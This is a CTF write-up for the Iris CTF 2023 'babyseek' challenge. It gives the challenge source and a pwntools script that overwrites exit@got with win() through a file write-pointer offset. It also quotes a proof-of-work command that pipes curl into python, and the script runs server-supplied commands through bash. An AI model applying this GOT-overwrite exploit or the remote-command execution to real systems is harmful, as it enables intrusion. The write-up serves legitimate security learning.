Iris CTF 2023 - babyseek (offset)

Info

86 Solves (8.4% of users)
167 Points (500 Points)

description

I’ll let you seek around my file as far as you want, but you can’t go anywhere since it’s /dev/null.
nc ret2libm.chal.irisc.tf 10004

To figure out where things are, you can use the gdb debugger. I recommend using a Docker instance, such as with the Dockerfile provided, to ensure you have an environment that matches the remote server you are attacking.

Hint!
You can find the location of functions in the Global Offset Table by using their name followed by @got.plt - for example, print &‘fwrite@got.plt‘.

By: sera

for player

1
2
3
4
5
.
├── chal
├── chal.c
├── Dockerfile
└── Makefile
1
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=25a1bb094d7ba8684d70c7686826e67352ceaf0b, for GNU/Linux 3.2.0, with debug_info, not stripped

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

Source Code

This challenge have a source code, So we can view the original source code ! :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>

void win() {
system("cat /flag");
}

int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("Your flag is located around %p.\n", win);

FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;

fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr); // [*]
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos; // [**]

fwrite(&super_special, sizeof(void*), 1, null);
exit(0);
}

Nice win() function which prints the flag. I like it.

Let’s see the [*] and [**] marking in code. First [*], The null pointer is points to the _IO_write_ptr member of a FILE object. It points to the location where the file is being written to in memory. Before [**], We can write the value to pos. It is add to the null->_IO_write_ptr at [**], So pos is mean the offset.

The frwite() function attempt to write address of the win() to that offset, and then exit().

Vulnerability

We can move the pointer that the file is being written to in memory.

Exploit

Exploit Scenario

Let’s overwrite the GOT of exit() which is called write after. We calculate the offset of win() to exit@got.plt.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import subprocess

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chal')
# p = process('./chal')
p = remote('seek.chal.irisc.tf', 10004)

def server():
p.recvuntil('python3')
cmd = b'python3' + p.recvline()[:-1]
print(cmd)
res = subprocess.check_output(['bash', '-c', cmd])
print(res)

p.sendlineafter('Solution?', res)

server()

p.recvuntil('located around')
win = int(p.recvuntil('.')[:-1], 16)
info('win: '+ hex(win))

e.address = win - e.sym['win']
info('pie base: ' + hex(e.address))

p.recvuntil('currently at')
curr = int(p.recvuntil('.')[:-1], 16)
info('curr: ' + hex(curr))

# move pos to exit@got
offset = e.got['exit'] - curr
info(hex(offset))

p.sendlineafter('into?', str(offset))

p.interactive()

In this CTF, Perhaps to prevent brute force, the following process is added when connecting to the server.

1
2
3
4
5
6
7
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.ADQ6.AADPFiV0veQZlf8vJux482QM
===================

Solution?

Flag

1
irisctf{not_quite_fseek}